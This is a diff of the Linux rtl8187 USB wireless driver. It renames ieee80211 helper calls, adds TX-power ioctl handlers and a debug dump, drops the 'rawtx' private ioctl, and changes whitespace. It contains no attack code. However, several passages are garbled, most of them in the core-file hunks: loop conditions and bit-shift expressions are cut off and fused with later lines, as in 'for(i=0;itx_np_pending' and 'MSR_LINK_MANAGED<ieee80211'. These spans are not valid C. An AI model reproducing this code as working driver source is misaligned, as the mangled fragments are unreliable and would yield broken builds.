iw_range *range = (struct iw_range *)extra; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u16 val; int i; @@ -186,26 +236,26 @@ /* Let's try to keep this struct in the same order as in * linux/include/wireless.h */ - + /* TODO: See what values we can set, and remove the ones we can't * set, or fill them with some default data. */ /* ~5 Mb/s real (802.11b) */ - range->throughput = 5 * 1000 * 1000; + range->throughput = 5 * 1000 * 1000; // TODO: Not used in 802.11b? // range->min_nwid; /* Minimal NWID we are able to set */ // TODO: Not used in 802.11b? // range->max_nwid; /* Maximal NWID we are able to set */ - + /* Old Frequency (backward compat - moved lower ) */ -// range->old_num_channels; +// range->old_num_channels; // range->old_num_frequency; // range->old_freq[6]; /* Filler to keep "version" at the same offset */ if(priv->rf_set_sens != NULL) range->sensitivity = priv->max_sens; /* signal level threshold range */ - + range->max_qual.qual = 100; /* TODO: Find real max RSSI and stick here */ range->max_qual.level = 0; @@ -219,14 +269,14 @@ range->avg_qual.updated = 7; /* Updated all three */ range->num_bitrates = RATE_COUNT; - + for (i = 0; i < RATE_COUNT && i < IW_MAX_BITRATES; i++) { range->bitrate[i] = rtl8180_rates[i]; } - + range->min_frag = MIN_FRAG_THRESHOLD; range->max_frag = MAX_FRAG_THRESHOLD; - + range->pm_capa = 0; range->we_version_compiled = WIRELESS_EXT; @@ -243,18 +293,18 @@ range->num_channels = 14; for (i = 0, val = 0; i < 14; i++) { - + // Include only legal frequencies for some countries if ((priv->challow)[i+1]) { range->freq[val].i = i + 1; - range->freq[val].m = ieee80211_wlan_frequencies[i] * 100000; + range->freq[val].m = ieee80211_wlan_frequencies_rtl7[i] * 100000; range->freq[val].e = 1; val++; } else { // FIXME: do we need to set anything for channels // we don't use ? } - + if (val == IW_MAX_FREQUENCIES) break; } @@ -267,15 +317,15 @@ static int r8180_wx_set_scan(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + if(!priv->up) return -1; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_scan(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } @@ -286,50 +336,50 @@ { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(!priv->up) return -1; - + down(&priv->wx_sem); - ret = ieee80211_wx_get_scan(priv->ieee80211,a,wrqu,b); - + ret = ieee80211_wx_get_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_essid(struct net_device *dev, +static int r8180_wx_set_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_essid(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_essid_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_essid(struct net_device *dev, +static int r8180_wx_get_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_get_essid(priv->ieee80211, a, wrqu, b); + + ret = ieee80211_wx_get_essid_rtl7(priv->ieee80211, a, wrqu, b); up(&priv->wx_sem); - + return ret; } @@ -338,30 +388,30 @@ union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_freq(priv->ieee80211, a, wrqu, b); - + + ret = ieee80211_wx_set_freq_rtl7(priv->ieee80211, a, wrqu, b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_name(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_name(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_name(priv->ieee80211, info, wrqu, extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_name_rtl7(priv->ieee80211, info, wrqu, extra); } -static int r8180_wx_set_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (wrqu->frag.disabled) priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; @@ -369,7 +419,7 @@ if (wrqu->frag.value < MIN_FRAG_THRESHOLD || wrqu->frag.value > MAX_FRAG_THRESHOLD) return -EINVAL; - + priv->ieee80211->fts = wrqu->frag.value & ~0x1; } @@ -377,11 +427,11 @@ } -static int r8180_wx_get_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); wrqu->frag.value = priv->ieee80211->fts; wrqu->frag.fixed = 0; /* no auto select */ @@ -397,49 +447,49 @@ char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_wap(priv->ieee80211,info,awrq,extra); - + + ret = ieee80211_wx_set_wap_rtl7(priv->ieee80211,info,awrq,extra); + up(&priv->wx_sem); return ret; - + } - -static int r8180_wx_get_wap(struct net_device *dev, - struct iw_request_info *info, + +static int r8180_wx_get_wap(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_wap(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_wap_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_get_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_encode(priv->ieee80211, info, wrqu, key); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_encode_rtl7(priv->ieee80211, info, wrqu, key); } -static int r8180_wx_set_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + DMESG("Setting SW wep key"); - ret = ieee80211_wx_set_encode(priv->ieee80211,info,wrqu,key); - + ret = ieee80211_wx_set_encode_rtl7(priv->ieee80211,info,wrqu,key); + up(&priv->wx_sem); return ret; } @@ -447,28 +497,28 @@ static int r8180_wx_set_scan_type(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *p){ - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms=(int*)p; int mode=parms[0]; - + priv->ieee80211->active_scan = mode; - + return 1; } -static int r8180_wx_set_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int err = 0; - + down(&priv->wx_sem); - - if (wrqu->retry.flags & IW_RETRY_LIFETIME || + + if (wrqu->retry.flags & IW_RETRY_LIFETIME || wrqu->retry.disabled){ err = -EINVAL; goto exit; @@ -485,13 +535,13 @@ if (wrqu->retry.flags & IW_RETRY_MAX) { priv->retry_rts = wrqu->retry.value; DMESG("Setting retry for RTS/CTS data to %d", wrqu->retry.value); - + }else { priv->retry_data = wrqu->retry.value; DMESG("Setting retry for non RTS/CTS data to %d", wrqu->retry.value); } - - /* FIXME ! + + /* FIXME ! * We might try to write directly the TX config register * or to restart just the (R)TX process. * I'm unsure if whole reset is really needed @@ -503,28 +553,28 @@ rtl8180_rtx_disable(dev); rtl8180_rx_enable(dev); rtl8180_tx_enable(dev); - + } */ exit: up(&priv->wx_sem); - + return err; } -static int r8180_wx_get_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + wrqu->retry.disabled = 0; /* can't be disabled */ - if ((wrqu->retry.flags & IW_RETRY_TYPE) == - IW_RETRY_LIFETIME) + if ((wrqu->retry.flags & IW_RETRY_TYPE) == + IW_RETRY_LIFETIME) return -EINVAL; - + if (wrqu->retry.flags & IW_RETRY_MAX) { wrqu->retry.flags = IW_RETRY_LIMIT & IW_RETRY_MAX; wrqu->retry.value = priv->retry_rts; @@ -533,30 +583,30 @@ wrqu->retry.value = priv->retry_data; } //DMESG("returning %d",wrqu->retry.value); - + return 0; } -static int r8180_wx_get_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - if(priv->rf_set_sens == NULL) + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->rf_set_sens == NULL) return -1; /* we have not this support for this radio */ wrqu->sens.value = priv->sens; return 0; } -static int r8180_wx_set_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + short err = 0; down(&priv->wx_sem); //DMESG("attempt to set sensivity to %ddb",wrqu->sens.value); @@ -571,7 +621,7 @@ exit: up(&priv->wx_sem); - + return err; } @@ -623,32 +673,28 @@ dummy, /* SIOCGIWRTS */ r8180_wx_set_frag, /* SIOCSIWFRAG */ r8180_wx_get_frag, /* SIOCGIWFRAG */ - dummy, /* SIOCSIWTXPOW */ - dummy, /* SIOCGIWTXPOW */ + r8180_wx_set_txpow, /* SIOCSIWTXPOW */ + r8180_wx_get_txpow, /* SIOCGIWTXPOW */ r8180_wx_set_retry, /* SIOCSIWRETRY */ r8180_wx_get_retry, /* SIOCGIWRETRY */ r8180_wx_set_enc, /* SIOCSIWENCODE */ r8180_wx_get_enc, /* SIOCGIWENCODE */ dummy, /* SIOCSIWPOWER */ dummy, /* SIOCGIWPOWER */ -}; +}; -static const struct iw_priv_args r8180_private_args[] = { - +static const struct iw_priv_args r8180_private_args[] = { + { - SIOCIWFIRSTPRIV + 0x0, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" - }, - + SIOCIWFIRSTPRIV + 0x0, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" + }, + { SIOCIWFIRSTPRIV + 0x1, IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" - - }, - { - SIOCIWFIRSTPRIV + 0x2, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "rawtx" + } }; @@ -660,13 +706,12 @@ // r8180_wx_set_beaconinterval, // r8180_wx_set_monitor_type, r8180_wx_set_scan_type, - r8180_wx_set_rawtx, }; -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } @@ -679,8 +724,8 @@ .private = r8180_private_handler, .num_private = sizeof(r8180_private_handler) / sizeof(iw_handler), .num_private_args = sizeof(r8180_private_args) / sizeof(struct iw_priv_args), -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 .get_wireless_stats = r8180_get_wireless_stats, #endif - .private_args = (struct iw_priv_args *)r8180_private_args, + .private_args = (struct iw_priv_args *)r8180_private_args, }; diff -Naur rtl8187_orig/beta-8187/r8187_core.c rtl8187_rawtx/beta-8187/r8187_core.c --- rtl8187_orig/beta-8187/r8187_core.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8187_core.c 2007-05-27 11:31:45.000000000 +0200 @@ -1,27 +1,27 @@ /* This is part of rtl8187 OpenSource driver - v 0.1 - Copyright (C) Andrea Merello 2005 + Copyright (C) Andrea Merello 2005 Released under the terms of GPL (General Public License) - - - Parts of this driver are based on the rtl8180 driver skeleton + + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers. - + some ideas might be derived from David Young rtl8180 netbsd driver. - + Parts of the usb code are from the r8150.c driver in linux kernel - + Some ideas borrowed from the 8139too.c driver included in linux kernel. - - We (I?) want to thanks the Authors of those projecs and also the + + We (I?) want to thanks the Authors of those projecs and also the Ndiswrapper's project Authors. - - A special big thanks goes also to Realtek corp. for their help in my - attempt to add RTL8187 and RTL8225 support, and to David Young also. - - Please note that this file is a modified version from rtl8180-sa2400 + A special big thanks goes also to Realtek corp. for their help in my + attempt to add RTL8187 and RTL8225 support, and to David Young also. + + - Please note that this file is a modified version from rtl8180-sa2400 drv. So some other people have contributed to this project, and they are thanked in the rtl8180-sa2400 CHANGELOG. */ @@ -57,6 +57,7 @@ #undef DEBUG_IRQ_TASKLET #undef DEBUG_TX_ALLOC #undef DEBUG_TX_DESC +#undef DEBUG_TX_POWER //#define CONFIG_RTL8180_IO_MAP @@ -66,6 +67,9 @@ #include "r8180_93cx6.h" /* Card EEPROM */ #include "r8180_wx.h" +#if !(defined(CONFIG_USB_EHCI_HCD) || defined (CONFIG_USB_EHCI_HCD_MODULE)) + #error Build your kernel with ehci_hcd support! +#endif // FIXME: check if 2.6.7 is ok #if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,7)) @@ -98,6 +102,10 @@ #endif static int channels = 0x3fff; +// #define DEBUG_EPROM +// #define DEBUG_REGISTERS +// #define DEBUG_TX_POWER + MODULE_LICENSE("GPL"); MODULE_VERSION("V 1.1"); MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); @@ -137,7 +145,7 @@ static int __devinit rtl8187_usb_probe(struct usb_interface *intf, const struct usb_device_id *id); - + static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf); static struct usb_driver rtl8187_usb_driver = { @@ -158,13 +166,12 @@ #endif }; - void write_nic_byte_E(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xfe00, 0, &data, 1, HZ / 2); @@ -173,10 +180,10 @@ void write_nic_byte(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 1, HZ / 2); @@ -185,10 +192,10 @@ void write_nic_word(struct net_device *dev, int indx, u16 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 2, HZ / 2); @@ -197,23 +204,23 @@ void write_nic_dword(struct net_device *dev, int indx, u32 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 4, HZ / 2); } - - - + + + u8 read_nic_byte(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 1, HZ / 2); @@ -223,22 +230,22 @@ u8 read_nic_byte_E(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xfe00, 0, &data, 1, HZ / 2); return data; } - + u16 read_nic_word(struct net_device *dev, int indx) { u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 2, HZ / 2); @@ -249,16 +256,16 @@ u32 read_nic_dword(struct net_device *dev, int indx) { u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 4, HZ / 2); return data; } -/* this might still called in what was the PHY rtl8185/rtl8187 common code +/* this might still called in what was the PHY rtl8185/rtl8187 common code * plans are to possibilty turn it again in one common code... */ inline void force_pci_posting(struct net_device *dev) @@ -271,7 +278,12 @@ //void set_nic_txring(struct net_device *dev); static struct net_device_stats *rtl8180_stats(struct net_device *dev); void rtl8180_commit(struct net_device *dev); + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work); +#else void rtl8180_restart(struct net_device *dev); +#endif /**************************************************************************** -----------------------------PROCFS STUFF------------------------- @@ -284,13 +296,13 @@ int *eof, void *data) { struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; int i,n; - + int max=0xff; - + /* This dump the current register page */ for(n=0;n<=max;) { @@ -307,7 +319,7 @@ len += snprintf(page + len, count - len,"\n"); - + *eof = 1; return len; @@ -319,16 +331,16 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "NIC int: %lu\n" "Total int: %lu\n", priv->stats.ints, priv->stats.shints); - + *eof = 1; return len; } @@ -339,10 +351,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "TX normal priority ok int: %lu\n" "TX normal priority error int: %lu\n" @@ -359,7 +371,7 @@ "TX HW queue: %d\n" "TX lp dropped: %lu\n" "TX np dropped: %lu\n" - "TX total data packets %lu\n", + "TX total data packets %lu\n", // "TX beacon aborted: %lu\n", priv->stats.txnpokint, priv->stats.txnperr, @@ -379,10 +391,10 @@ priv->stats.txdatapkt // priv->stats.txbeaconerr ); - + *eof = 1; return len; -} +} @@ -391,10 +403,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "RX packets: %lu\n" "RX urb status error: %lu\n" @@ -402,21 +414,22 @@ priv->stats.rxok, priv->stats.rxstaterr, priv->stats.rxurberr); - + *eof = 1; return len; -} - +} +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } +#endif void rtl8180_proc_module_init(void) -{ +{ DMESG("Initializing proc filesystem"); rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net); } @@ -430,7 +443,7 @@ void rtl8180_proc_remove_one(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); if (priv->dir_dev) { // remove_proc_entry("stats-hw", priv->dir_dev); remove_proc_entry("stats-tx", priv->dir_dev); @@ -447,9 +460,9 @@ void rtl8180_proc_init_one(struct net_device *dev) { struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dir_dev = create_proc_entry(dev->name, - S_IFDIR | S_IRUGO | S_IXUGO, + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->dir_dev = create_proc_entry(dev->name, + S_IFDIR | S_IRUGO | S_IXUGO, rtl8180_proc); if (!priv->dir_dev) { DMESGE("Unable to initialize /proc/net/rtl8187/%s\n", @@ -459,7 +472,7 @@ #if 0 e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_hw, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-hw\n", @@ -468,17 +481,17 @@ #endif e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_rx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-rx\n", dev->name); } - - + + e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_tx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-tx\n", @@ -487,27 +500,27 @@ #if 0 e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ieee, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ieee\n", dev->name); } - - + + e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ap, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ap\n", dev->name); } #endif - + e = create_proc_read_entry("registers", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_registers, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/registers\n", @@ -523,14 +536,14 @@ { int i; u8 *buf =(u8*)buffer; - + printk("ASCII BUFFER DUMP (len: %x):\n",len); - + for(i=0;itx_np_pending : &priv->tx_lp_pending); - + return (used < MAX_TX_URB); } void tx_timeout(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //rtl8180_commit(dev); schedule_work(&priv->reset_wq); //DMESG("TXTIMEOUT"); @@ -561,7 +574,20 @@ { int i; for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); + DMESG("EEPROM addr %02X : %04X", i, eprom_read(dev,i)); +} + +/* this is only for debug */ +void dump_tx_power(struct net_device *dev) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i; + DMESG("CCK TX-Power (b-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr[i]); + DMESG("OFDM TX-Power (g-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr_ofdm[i]); } /* this is only for debug */ @@ -570,14 +596,14 @@ int i; int n; int max=0xff; - - DMESG("Dumping NIC register map"); - + + DMESG("Dumping NIC register map"); + for(n=0;n<=max;) { - printk( "\nD: %2x> ", n); + printk( "\nD: %02X> ", n); for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); + printk("%02X ",read_nic_byte(dev,n)); } printk("\n"); } @@ -589,11 +615,11 @@ void rtl8180_irq_enable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); //priv->irq_enabled = 1; /* - write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ - INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ + write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ + INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\ INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT); */ @@ -603,7 +629,7 @@ void rtl8180_irq_disable(struct net_device *dev) { -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); write_nic_word(dev,INTA_MASK,0); force_pci_posting(dev); @@ -625,115 +651,115 @@ void rtl8180_update_msr(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 msr; - + msr = read_nic_byte(dev, MSR); msr &= ~ MSR_LINK_MASK; - + /* do not change in link_state != WLAN_LINK_ASSOCIATED. - * msr must be updated if the state is ASSOCIATING. + * msr must be updated if the state is ASSOCIATING. * this is intentional and make sense for ad-hoc and * master (see the create BSS/IBSS func) */ - if (priv->ieee80211->state == IEEE80211_LINKED){ - + if (priv->ieee80211->state == IEEE80211_LINKED){ + if (priv->ieee80211->iw_mode == IW_MODE_INFRA) msr |= (MSR_LINK_MANAGED<ieee80211->iw_mode == IW_MODE_ADHOC) msr |= (MSR_LINK_ADHOC<ieee80211->iw_mode == IW_MODE_MASTER) msr |= (MSR_LINK_MASTER<chan=ch; #if 0 - if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || + if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || priv->ieee80211->iw_mode == IW_MODE_MASTER){ - - priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; + + priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; priv->ieee80211->master_chan = ch; - rtl8180_update_beacon_ch(dev); + rtl8180_update_beacon_ch(dev); } #endif - + /* this hack should avoid frame TX during channel setting*/ tx = read_nic_dword(dev,TX_CONF); tx &= ~TX_LOOPBACK_MASK; -#ifndef LOOP_TEST +#ifndef LOOP_TEST write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<udev, usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer, RX_URB_SIZE,rtl8187_rx_isr,dev); - err = usb_submit_urb(rx_urb, GFP_ATOMIC); + err = usb_submit_urb(rx_urb, GFP_ATOMIC); if(err && err != -EPERM){ DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status); - + } - + } void rtl8187_rx_initiate(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + if(!priv->rx_urb) DMESGE("Cannot intiate RX urb mechanism"); - for(i=0;irx_urb[i]); - + } void rtl8187_set_rxconf(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u32 rxconf; - + rxconf=read_nic_dword(dev,RX_CONF); rxconf = rxconf &~ MAC_FILTER_MASK; rxconf = rxconf | (1<flags & IFF_PROMISC) DMESG ("NIC in promisc mode"); - + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \ dev->flags & IFF_PROMISC){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MASTER){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MONITOR){ rxconf = rxconf | (1<crcmon == 1 && priv->ieee80211->iw_mode 